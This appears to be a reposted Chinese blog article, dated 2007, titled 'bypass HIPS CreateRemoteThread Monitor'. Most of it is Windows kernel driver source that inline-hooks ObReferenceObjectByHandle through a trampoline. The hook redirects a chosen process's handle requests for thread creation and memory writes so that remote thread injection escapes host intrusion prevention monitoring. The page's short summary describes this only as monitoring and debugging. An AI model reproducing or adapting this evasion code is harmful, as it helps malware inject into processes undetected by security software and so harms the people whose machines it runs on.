bypass HIPS CreateRemoteThread Monitor

最新推荐文章于 2025-11-25 11:26:09 发布

原创最新推荐文章于 2025-11-25 11:26:09 发布 · 766 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#object #access #thread #hook #汇编 #date

windows底层核心編程同时被 2 个专栏收录

743 篇文章

订阅专栏

病毒汇编和调试逆向技术加脱壳

506 篇文章

订阅专栏

本文介绍了一种在Windows内核模式下Hook ObReferenceObjectByHandle函数的方法，通过修改该函数的跳转指令实现对特定进程的句柄引用行为进行拦截与重定向。此技术可用于系统监控、调试以及其他高级应用。

Author：kruglinski(kruglinski_at_sohu_dot_com)
site：http://hi.baidu.com/kruglinski
date：2007.10.21

CreateThread
+CreateRemoteThread
+NtCreateThread
+PspCreateThread
+ObReferenceObjectByHandle

inline Hook ObReferenceObjectByHandle:

lkd> u nt!ObReferenceObjectByHandle
nt!ObReferenceObjectByHandle:
805bb050 8bff mov edi,edi
805bb052 55 push ebp
805bb053 8bec mov ebp,esp
805bb055 51 push ecx
805bb056 53 push ebx
805bb057 56 push esi
805bb058 57 push edi
805bb059 64a124010000 mov eax,dword ptr fs:[00000124h]

source code :

NTSTATUS __declspec(naked) Trampoline(
HANDLE Handle,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID *Object,
POBJECT_HANDLE_INFORMATION HandleInformation
)
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}

BOOLEAN EnableHook(void)
{
PBYTE pfnObRefByHandle=(PBYTE)&ObReferenceObjectByHandle;

ULONG uTotals=0;
ULONG uSize=0;

KdBreakPoint();

while(uTotals<5)
{
if(*pfnObRefByHandle==0xe9)
return FALSE;
uSize=Disasm((PBYTE)pfnObRefByHandle,15);//使用的是精简后OllyDbg的反汇编引擎
pfnObRefByHandle+=uSize;
uTotals+=uSize;
}

if(uTotals>32)
return FALSE;

//我很想用lock rep movsb来Copy内存,但不记得同时用lock和rep前缀是否有效
RtlCopyMemory(&Trampoline,&ObReferenceObjectByHandle,uTotals);

{
PBYTE pTramp=(PBYTE)&Trampoline;
pTramp+=uTotals;
*pTramp=0xe9;
pTramp++;
*(int*)pTramp=(int)pfnObRefByHandle-(int)(pTramp+4);

pTramp=(PBYTE)&Trampoline;
*(ULONG*)&pTramp[32-sizeof(ULONG)]=uTotals;
}

{
BYTE Jump[5]={0};
Jump[0]=0xe9;
*(int*)&Jump[1]=(int)&MyObRefObjByHandle-((int)&ObReferenceObjectByHandle+5);

RtlCopyMemory(&ObReferenceObjectByHandle,Jump,5);
}

return TRUE;
}

BOOLEAN DisableHook(void)
{
PBYTE pTramp=(PBYTE)&Trampoline;
ULONG uTotals=*(ULONG*)&pTramp[32-sizeof(ULONG)];

KdBreakPoint();

if(uTotals!=0x90909090)
{
RtlCopyMemory(&ObReferenceObjectByHandle,&Trampoline,uTotals);
return TRUE;
}

return FALSE;
}

NTSTATUS
MyObRefObjByHandle(
HANDLE Handle,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID *Object,
POBJECT_HANDLE_INFORMATION HandleInformation
)
{
if(ObjectType==PsProcessType &&
Handle==NtCurrentProcess() &&
(
DesiredAccess==PROCESS_CREATE_THREAD ||
DesiredAccess==PROCESS_VM_OPERATION || //用CreateRemoteThread这几个操作是少不了的
DesiredAccess==PROCESS_VM_WRITE
) &&
AccessMode==UserMode &&//防止错误的把内核中的一些操作重定向
PsGetCurrentProcessId()==RemapID)//重定向进程ID相同
{
//修改Handle值
Handle=hRemapHandle;
}

return Trampoline(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);
}